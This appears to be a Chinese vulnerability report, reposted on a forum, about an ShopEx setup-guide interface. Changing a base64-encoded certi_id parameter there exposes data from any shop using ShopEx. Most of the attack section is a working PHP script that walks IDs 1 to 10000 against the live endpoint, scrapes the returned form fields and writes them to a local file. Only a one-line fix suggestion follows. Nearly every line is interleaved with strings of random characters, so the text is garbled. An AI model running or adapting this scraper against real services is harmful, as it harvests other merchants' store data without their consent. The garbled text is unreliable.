ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 Q$ {; q0 E9 {+ z( RShopEx某接口缺陷,可遍历所有网站
详细说明：
, z& t1 m+ N& n问题出现在shopex 网店使用向导页面
2 X; G+ i7 m. k/ B( _

/ e1 V+ Z3 y5 U9 V$ b
) c' ~/ ?( x! Q6 x7 ?: x3 }http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

: Y! G% g" N  b$ i4 T& ]  S
8 o7 E) a9 r, H  o5 f
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
* m6 K9 Y1 F* ^, J, b1 l6 e, [


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



$ E8 c8 _. K% D0 }! d<?php
/ X* M8 T  R& w, O7 w4 K6 L
4 Q% k2 q0 S# ?1 K' G" j( X                for ($i=1; $i < 10000; $i++) { //遍历
  m  D( B! L) a8 w7 }' U, V% O
                        ShowshopExD($i);
% w; D6 l8 Y& N& j9 ~: D6 n
                }
$ Y# m, M; x9 X' z2 N' k7 W0 ?) `
8 P* _' n  _% U1 R! q                function ShowshopExD($cid) {
9 y5 a; W* l* k+ a. `
                $url='http://guide.ecos.shopex.cn/step2.php';

2 B+ j4 z: R$ L+ p; @                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% e! z9 G+ R& a5 d$ }& R9 S$ ~
! p3 P5 V8 m! g3 R; o( v5 r        $url = $url.'?refer='.$refer;

( d! c& r7 z2 L6 ]        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
. @, R# R% W( S" O( z0 M1 t
! B, }7 E" u0 T! s/ b. j+ [" S        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

3 `9 Y- X& ^# r! u5 [        if(strpos($result,$refer))

        {
8 A4 ]$ d% u+ P1 W
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

* C: \, i0 H* S) U4 N, I; B- ^                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
0 U  q2 v0 ]" m3 O! u& q6 _
                foreach ($value[1] as $key) {
! z) J, ~. w, r. e0 y- m
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
: X$ ?; J9 E5 a
                        echo $res[1][0].':'.$res[3][0]."\r\n";
8 A4 F, |3 @4 S, H
) \. e9 U! F' l! @                        $col =$res[1][0].':'.$res[3][0]."\r\n";
; x; ?# \( {0 e; ^# a3 C
: h+ k3 C4 M/ X1 y+ |                        fwrite($fp, $col, strlen($col));
: h% A# @- N% q& c' p* [
                }
% ?" G- Y# q7 s0 y, D
                echo '--------------------------------'."\r\n";
! H2 z6 V# C  s- y
                fclose($fp);

8 E$ `; w4 e; c5 S$ A# u5 y+ P, B        }

        flush();

* K" A0 g1 g- ]# R: E        curl_close($ch);

                }

?>
) g- H$ k" l/ P& N. w漏洞证明：
: J* M% Z0 h: V2 F/ x$ fhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
- w; m! Y, C) p$ b+ N& s6 hrefer换成其他加密方式
$ q* j! L- @" b$ l